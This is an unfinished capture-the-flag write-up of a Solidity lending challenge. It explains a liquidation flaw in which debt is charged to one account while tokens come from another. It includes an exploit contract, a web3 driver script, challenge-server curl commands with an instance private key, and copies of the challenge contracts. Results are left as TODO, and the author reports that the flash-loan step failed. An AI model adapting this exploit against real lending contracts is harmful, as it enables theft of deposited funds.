Abstract

To bankrupt the lender, one need to fine a way to run out the lender's `WETH9`. The `contract Lender` relies on a *rate* (34 in Lender.sol). If $rate < 1$, the borrower wins. If $rate > 1$, the lender wins. So the attacker have to find a swap pair (`interface IUniswapV2Pair`, 22 in Lender.sol) which meets $rate < 1$. The profits comes at liquidation (`function liquidate`, 63 in Lender.sol).

1 Scenario

1.1 The trivial token and IUniswapV2Pair

The `contract Token` (7 in Setup.sol) is trivial and it's `totalSupply` is under control. It exists to cheat the real `contract` behind `interface IUniswapV2Pair`.

Supposing the values $r0$ and $r1$ are from:

```
1 (uint112 r0, uint112 r1, ) = pair.getReserves();
```

The *rate* from `interface WETH9` to `contract Token` defined by `interface IUniswapV2Pair` is:

$$rate = \frac{r0}{r1}.$$

The deposit amount $weth_0$ of `WETH9` to the `lender` (as collateral) decides the maximum borrowable amount $debt_{safe}$:

$$debt_{safe} = weth_0 \times rate \times \frac{2}{3},$$

the total borrow amount $debt_{total}$ (of `contract Token`) meets

$$debt_{total} \leq debt_{safe}.$$

On liquidation, the *debt* is to repay and the `WETH9` to return is:

$$weth' = \frac{debt}{rate},$$

where

$$debt_{safe} \leq debt_{total},$$
$$debt \leq debt_{total}.$$

Which is looking good.

1.2 The loophole

To bankrupt the `lender`, the attacker must find the condition

$$weth' > weth_0,$$

therefore the condition

$$debt' > debt_0$$

or

$$rate' < rate_0$$

must be satisfied.

The attacker may have any amount of `contract Token`, but only the amount returned from the `function borrow` counts into $debt_{total}$.

So looking at the *rate*, there is no more information about the `interface IUniswapV2Pair` for the hacking *rate*, and the math looks good.

Yet, when looking at the `function liquidate` (58 in Lender.sol) carefully:

```
58 function liquidate(address user, uint256 amount) public returns
   ↪ (uint256) {
59     require(safeDebt(user) <= debt[user], "err:
   ↪ overcollateralized");
60     debt[user] -= amount;
```

```
61      token.transferFrom(msg.sender, address(this), amount);
62      uint256 collateralValueRepaid = amount / rate();
63      weth.transfer(msg.sender, collateralValueRepaid);
64      return collateralValueRepaid;
65  }
```

It's subtracting the *debt* for `user` (line 60 in Lender.sol), yet the true $debt_{total}$ is counting on the `msg.sender`. Which gives an attacker a way to `liquidate` with a different *debt*! So an attack can be done with at least two different accounts.

2 Steps

2.1 The node information

```
curl -X POST
↪  http://35.160.101.66:1337/get_instance?challenge_number=2
```

Results:

```
{"RPC endpoint": "http://35.160.101.66:8545/993a2051-858a-4eab-b
↪  f3a-b6f619684272", "Private key":
↪  "0x6a671d144b35afc37a62103bd9fa4989a2060b848169653673098c01a
↪  c89ed09", "Setup contract":
↪  "0xEf46B5EC50A61Da7c784bce7c97F78631C2249E7", "Get flag":
↪  "curl -X POST http://35.160.101.66:1337/get_flag?uuid=993a20
↪  51-858a-4eab-bf3a-b6f619684272"}
```

Check the endpoint:

```
function post() { curl -X POST -H "Content-Type:
↪  application/json" --data "$@" \
    http://35.160.101.66:8545/9bc154d6-69ad-4134-b257-f6807da3ec
    ↪  7b
    ↪  }
post '{"method":"eth_accounts","params":[],"jsonrpc":"2.0","id":
↪  1}'
```

Results:

```
{"id":1,"jsonrpc":"2.0","result":["0xcbfdd099386550df702c839d229
↪  505049fc0f860"]}
```

2.2 Make a flash loan

In the context of `contract bankrupt`, attacker loans some bullets (99 in bankrupt.sol) (Note that the `function flashLoan` is not working, see 3):

```
99  pool.flashLoan(50);
100 require(loan == 50, "loan not received");
```

This requires the `function receiveFlashLoan` to be defined first (67 in bankrupt.sol):

```
67  function receiveFlashLoan(uint256 amount) public returns (bool)
    ↪ {...
```

2.3 Deposit the collateral

Still in the context of `contract bankrupt`, attacker makes the deposit (104 in bankrupt.sol):

```
104 lender.deposit(25 ether);
105 lender.borrow(250_000 ether);
```

2.4 Liquidate the collateral and paired tokens

Still in the context of `contract bankrupt`, call `function liquidate` for both `contract Setup` and `contract bankrupt` (109 in bankrupt.sol).

```
109 lender.liquidate(address(extern), /*24 ether * rate*/250_000
    ↪ ether);
110 lender.liquidate(address(this), /*24 ether * rate*/a);
```

2.5 Borrow again (optional)

Still in the context of `contract bankrupt`, `borrow` again (113 in bankrupt.sol):

```
113 lender.borrow(250_000 ether);
```

2.6 Pay back loan

Still in the context of `contract bankrupt`, the loan must be paid back (83 in bankrupt.sol):

```
83  weth.transfer(address(pool), 50);
```

2.7 Check the results

See 31 in bankrupt.js.

```
31  bankrupt.methods.state().call().then(console.log);
```

(TODO)

2.8 Get the flag

```
curl -X POST http://35.160.101.66:1337/get_flag?uuid=993a2051-85
↪ 8a-4eab-bf3a-b6f619684272
```

Results: `(TODO)`

3 Problems of the challenge

It looks like the `contract FlashLoan` does not work, the external call to `function receiveFlashLoan(uint256)` (line 55 in Setup.sol) failed, which blocked the solution in 2.2.

```
55 (bool success,) = msg.sender.call(
56     abi.encodeWithSignature(
57         "receiveFlashLoan(uint256)",
58         amount
59     )
60 );
```

This external call implementation can be deprecated by the `interface` approach:

```
interface IFlashLoanReceiver {
    function receiveFlashLoan(uint256 amount) external returns
↪   (bool);
}
```

which is much better then using the `abi.encodeWithSignature` in this way:

```
bool success = IFlashLoanReceiver(msg.sender)
    .receiveFlashLoan(amount);
```

The strange thing is that the returned `bool success` seems to be still `true` in real execution. The failure of external call could probably one or more of these reasons:

1. the signature `"receiveFlashLoan(uint256)"` when deploying Setup.sol is not as it is in the line 55 in Setup.sol, turns out the `function receiveFlashLoan(uint256 amount) external returns (bool)` is not called (line 67 in bankrupt.sol) (but this can't explain why `bool success` is still `true`)
2. I could have done something wrong or miss something.
3. a older version of Ethereum which might have issues relating to this been deployed

4. some kind of compatibility mismatching
5. the **web3** JS client might have some issues (but not likely, as the execution is on the challenge server)
6. a bug in the challenge server's private ethereum deployment related to external call *(??)*
7. there might be some settings or limitation on the challenge server preventing this *(??)*

On my side of coding, this similar call is also failed:

```
address(pool).call(abi.encodeWithSignature("flashLoan(uint256)",
↪  50 ether));
```

yet comparing to this line, which is working well:

```
pool.flashLoan(50 ether);
```

4 Implementation

Note: JavaScript implementation is for browser, load bankrupt.html.

4.1 bankrupt.sol

```
pragma solidity >=0.8.7 <0.9.0;

interface IToken {
    function deposit() external payable;
    function approve(address to, uint amount) external returns
↪  (bool);
    function transfer(address to, uint amount) external returns
↪  (bool);
    function transferFrom(address from, address to, uint amount)
↪  external returns (bool);
}

interface ITokenA is IToken {
    function balanceOf(address addr) external view returns
↪  (uint);
}

interface ITokenB is IToken {
    function getBalanceOf(address addr) external view returns
↪  (uint);
}

```

```
18 interface ILender {
19     function safeDebt(address user) external view returns
   ↪  (uint256);
20     function rate() external view returns (uint256);
21     function borrow(uint256 amount) external;
22     function repay(uint256 amount) external;
23     function liquidate(address user, uint256 amount) external
   ↪  returns (uint256);
24     function deposit(uint256 amount) external;
25     function withdraw(uint256 amount) external;
26 }
27
28 interface ILoan {
29     function flashLoan(uint256 amount) external;
30 }
31
32 interface IExtern {
33     function lender() external view returns (ILender);
34     function weth() external view returns (ITokenA);
35     function token() external view returns (ITokenB);
36     function flashloanPool() external view returns (ILoan);
37     function isSolved() external view returns (bool);
38 }
39
40 contract bankrupt {
41     address me;
42
43     IExtern extern;
44     ITokenA weth;
45     ITokenB token;
46     ILender lender;
47     ILoan pool;
48
49     uint256 loan;
50
51     modifier onlyme {
52         require(msg.sender == me);
53         _;
54     }
55
56     constructor(address a) payable {
57         (me, extern) = (msg.sender, IExtern(a));
58         (weth, token, lender, pool) = (extern.weth(),
   ↪  extern.token(), extern.lender(), extern.flashloanPool());
59
```

```
60          require(weth.balanceOf(address(pool)) > 50, "flash loan
    ↪  incorrect 1");
61
62          // //address(pool).call(abi.encodeWithSignature("flashLo
    ↪  an(uint256)", 50
    ↪  ether));
63          // pool.flashLoan(50 ether);//←
64          // require(loan == 50 ether, "loan not received");
65      }
66
67      function receiveFlashLoan(uint256 amount) external returns
    ↪  (bool) {//←
68          require(amount >= 50, "flash loan incorrect 2");
69          require(weth.balanceOf(address(this)) >= amount, "flash
    ↪  loan incorrect 3");
70
71          weth.approve(address(lender), type(uint256).max);
72          lender.deposit(25 ether);//←
73
74          uint256 a = lender.safeDebt(address(this));
75          lender.borrow(/*250_000 ether*/a);
76          require(token.getBalanceOf(address(this)) >= a, "borrow
    ↪  failed");
77
78          uint256 rate = lender.rate();
79          lender.liquidate(address(extern), /*24 ether *
    ↪  rate*/250_000 ether);
80          lender.liquidate(address(this), /*24 ether * rate*/a);
81          require(weth.balanceOf(address(this)) > 51 ether,
    ↪  "liquidation failed");
82
83          weth.transfer(address(pool), 51 ether);//←
84          loan += amount;
85          return (/*true*/weth.balanceOf(address(this)) > 0);
86      }
87
88      function state() public view returns (bool, uint256,
    ↪  uint256, uint256, uint256, uint256, uint256, uint256) {
89          return (extern.isSolved(), lender.rate(),
90                  weth.balanceOf(address(this)),
91                  weth.balanceOf(address(lender)),
92                  weth.balanceOf(address(extern)),
93                  token.getBalanceOf(address(this)),
94                  token.getBalanceOf(address(lender)),
95                  token.getBalanceOf(address(extern)));
96      }
```

```
97
98      function fire() public payable onlyme {
99          pool.flashLoan(50 ether);//←
100         require(loan == 50 ether, "loan not received");
101     }
102
103     // function step1() public onlyme {
104     //     lender.deposit(25 ether);//←
105     //     lender.borrow(250_000 ether);
106     // }
107
108     // function step2() public onlyme {
109     //     address(extern).call(abi.encodeWithSignature("liquida
    ↪   te(address,uint256)", 250_000
    ↪   ether));//←
110     // }
111
112     // function step3() public onlyme {
113     //     lender.borrow(250_000 ether);//←
114     // }
115 }
```

4.2 bankrupt.js

```
1  const entrance = ["133caedc-45fe-45ee-84ea-c886993c6465",
   ↪  "0x3092B15ea737Dab5189C46f8CBFc80b6E1846205"];
2  const endpoint = `http://35.160.101.66:8545/${entrance[0]}`;
3  const bin = '6080604052604051...';
4  const abi = [{"inputs":[{"internalType":"address","name":"a","ty
   ↪  pe":"address"}],"stateMutability":"payable","type":"construc
   ↪  tor"},{"inputs":[],"name":"fire","outputs":[],"stateMutabili
   ↪  ty":"payable","type":"function"},{"inputs":[{"internalType":
   ↪  "uint256","name":"amount","type":"uint256"}],"name":"receive
   ↪  FlashLoan","outputs":[{"internalType":"bool","name":"","type
   ↪  ":"bool"}],"stateMutability":"nonpayable","type":"function"}
   ↪  ,{"inputs":[],"name":"state","outputs":[{"internalType":"boo
   ↪  l","name":"","type":"bool"},{"internalType":"uint256","name"
   ↪  :"","type":"uint256"},{"internalType":"uint256","name":"","t
   ↪  ype":"uint256"},{"internalType":"uint256","name":"","type":"
   ↪  uint256"},{"internalType":"uint256","name":"","type":"uint25
   ↪  6"},{"internalType":"uint256","name":"","type":"uint256"},{"
   ↪  internalType":"uint256","name":"","type":"uint256"},{"intern
   ↪  alType":"uint256","name":"","type":"uint256"}],"stateMutabil
   ↪  ity":"view","type":"function"}];
5  const web3 = new Web3(new Web3.providers.HttpProvider(endpoint));
6  var bankrupt;
```

```
web3.eth.getAccounts().then(async (accounts) => {
    let me = accounts[0];
    let wei = await web3.eth.getBalance(me)
    console.log('account:', me, web3.utils.fromWei(wei), wei);

    let latest = await web3.eth.getBlock("latest");
    let deployment = (new web3.eth.Contract(abi)).deploy({ data:
↪   bin, arguments: [entrance[1]] });
    let estimatedGas = await deployment.estimateGas({from: me});
↪   //web3.eth.estimateGas({from:me, data:bin, arguments:
↪   [entrance[1]]});
    console.log('latest:', `gasLimit=${latest.gasLimit},
↪   gasUsed=${latest.gasUsed}, gasEstimated=${estimatedGas},
↪   bin=${bin.length/2} bytes`, latest);

    bankrupt = await deployment.send({
        from: me, gas: latest.gasLimit, gasPrice: 1000000000,
        //value: web3.utils.toWei('1', 'ether'),
    });
    console.log('bankrupt:', bankrupt._address,
↪   web3.utils.toWei('1', 'ether'));

    let fire = bankrupt.methods.fire();
    estimatedGas = await fire.estimateGas({from: me});
    console.log('fire:', `gasEstimated=${estimatedGas}`);
    await fire.send({from: me});

    // await bankrupt.methods.step1().send({from: me});
    // await bankrupt.methods.step2().send({from: me});
    // await bankrupt.methods.step3().send({from: me});
    bankrupt.methods.state().call().then(console.log);//←

    wei = await web3.eth.getBalance(me)
    console.log('account:', me, web3.utils.fromWei(wei), wei);
});
```

4.3 bankrupt.html

```
<!doctype html>
<html>
    <head><script src="https://unpkg.com/web3@latest/dist/web3.m
    ↪  in.js"></script></head>
    <body><script src="bankrupt.js"></script></body>
</html>
```

5 Code Copy

5.1 Lender.sol

```
pragma solidity ^0.8.0;

interface IUniswapV2Pair {
    function mint(address to) external returns (uint liquidity);
    function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}

interface ERC20Like {
    function transfer(address dst, uint qty) external returns (bool);
    function transferFrom(address src, address dst, uint qty) external returns (bool);
    function approve(address dst, uint qty) external returns (bool);

    function balanceOf(address who) external view returns (uint);
}

interface WETH9 is ERC20Like {
    function deposit() external payable;
}

contract Lender {//←
    IUniswapV2Pair public pair;//←
    WETH9 public constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    ERC20Like public token;

    mapping(address => uint256) public deposited;
    mapping(address => uint256) public debt;

    constructor (IUniswapV2Pair _pair, ERC20Like _token) {
        pair = _pair;
        token = _token;
    }

    function rate() public view returns (uint256) {//←
        (uint112 _reserve0, uint112 _reserve1,) = pair.getReserves();
```

```
36          uint256 _rate = uint256(_reserve0 / _reserve1);
37          return _rate;
38      }
39
40      function safeDebt(address user) public view returns
    ↪   (uint256) {
41          return deposited[user] * rate() * 2 / 3;
42      }
43
44      // borrow some tokens
45      function borrow(uint256 amount) public {
46          debt[msg.sender] += amount;
47          require(safeDebt(msg.sender) >= debt[msg.sender], "err:
    ↪   undercollateralized");
48          token.transfer(msg.sender, amount);
49      }
50
51      // repay your loan
52      function repay(uint256 amount) public {
53          debt[msg.sender] -= amount;
54          token.transferFrom(msg.sender, address(this), amount);
55      }
56
57      // repay a user's loan and get back their collateral.
58      function liquidate(address user, uint256 amount) public
    ↪   returns (uint256) {//←
59          require(safeDebt(user) <= debt[user], "err:
    ↪   overcollateralized");
60          debt[user] -= amount;//←
61          token.transferFrom(msg.sender, address(this), amount);
62          uint256 collateralValueRepaid = amount / rate();
63          weth.transfer(msg.sender, collateralValueRepaid);//←
64          return collateralValueRepaid;
65      }
66
67      // deposit collateral
68      function deposit(uint256 amount) public {
69          deposited[msg.sender] += amount;
70          weth.transferFrom(msg.sender, address(this), amount);
71      }
72
73      // remove collateral
74      function withdraw(uint256 amount) public {
75          deposited[msg.sender] -= amount;
76          require(safeDebt(msg.sender) >= debt[msg.sender], "err:
    ↪   undercollateralized");
```

```
77
78          weth.transfer(msg.sender, amount);
79      }
80  }
```

5.2 Setup.sol

```
1   //Make the Lender bankrupt
2
3   pragma solidity ^0.8.0;
4
5   import "./Lender.sol";
6
7   contract Token {//←
8       mapping(address => uint256) public balanceOf;
9       mapping(address => bool) public dropped;
10      mapping(address => mapping(address => uint256)) public
    ↪   allowance;
11      uint256 public totalSupply = 1_000_000 ether;
12
13      constructor() {
14          balanceOf[msg.sender] = totalSupply;//←
15      }
16
17      function approve(address to, uint256 amount) public returns
    ↪   (bool) {
18          allowance[msg.sender][to] = amount;
19          return true;
20      }
21
22      function transfer(address to, uint256 amount) public returns
    ↪   (bool) {
23          return transferFrom(msg.sender, to, amount);
24      }
25
26      function getBalanceOf(address who) external view returns
    ↪   (uint){
27          return balanceOf[who];
28      }
29
30      function transferFrom(address from, address to, uint256
    ↪   amount) public returns (bool) {
31          if (from != msg.sender) {
32              allowance[from][to] -= amount;
33          }
34          balanceOf[from] -= amount;
```

```
35          balanceOf[to] += amount;
36          return true;
37      }
38  }
39
40  contract FlashLoan {//←
41
42      WETH9 public constant weth =
    ↪  WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
43
44      constructor() payable{
45          require(msg.value == 1000 ether);
46          weth.deposit{value : msg.value}();
47      }
48
49      function flashLoan(uint256 amount) external {//←
50          uint256 balanceBefore = weth.balanceOf(address(this));
51          require(amount <= balanceBefore, "Not enough token
    ↪  balance");
52
53          weth.transfer(msg.sender, amount);
54
55          (bool success,) = msg.sender.call(//←
56              abi.encodeWithSignature(
57                  "receiveFlashLoan(uint256)",
58                  amount
59              )
60          );
61          require(success, "External call failed");
62
63          require(weth.balanceOf(address(this)) >= balanceBefore,
    ↪  "Flash loan not paid back");
64      }
65  }
66
67  interface IUniswapV2Factory {
68      function createPair(address tokenA, address tokenB) external
    ↪  returns (address pair);
69  }
70
71  contract Setup {
72      WETH9 public constant weth =
    ↪  WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
73      IUniswapV2Factory public constant factory = IUniswapV2Factor┘
    ↪  y(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
74      Token public token;
```

```
75      IUniswapV2Pair public pair;
76      Lender public lender;
77      FlashLoan public flashloanPool;
78
79      uint256 constant DECIMALS = 1 ether;
80      uint256 totalBefore;
81
82      constructor() payable {
83          require(msg.value == 1050 ether);
84          weth.deposit{value : 50 ether}();
85
86          token = new Token();
87          pair = IUniswapV2Pair(factory.createPair(address(weth),
    ↪  address(token)));
88          lender = new Lender(pair, ERC20Like(address(token)));//←
89          token.transfer(address(lender), 500_000 * DECIMALS);
90
91          weth.transfer(address(pair), 25 ether);
92          token.transfer(address(pair), 500_000 * DECIMALS);
93          pair.mint(address(this));//←
94
95          weth.approve(address(lender), type(uint256).max);
96          lender.deposit(25 ether);
97          lender.borrow(250_000 * DECIMALS);
98
99          totalBefore = weth.balanceOf(address(lender)) +
    ↪  token.balanceOf(address(lender)) / lender.rate();
100
101         flashloanPool = (new FlashLoan){value : 1000 ether}();
102     }
103
104     function isSolved() public view returns (bool) {
105         return weth.balanceOf(address(lender)) < 2 ether;
106     }
107 }
```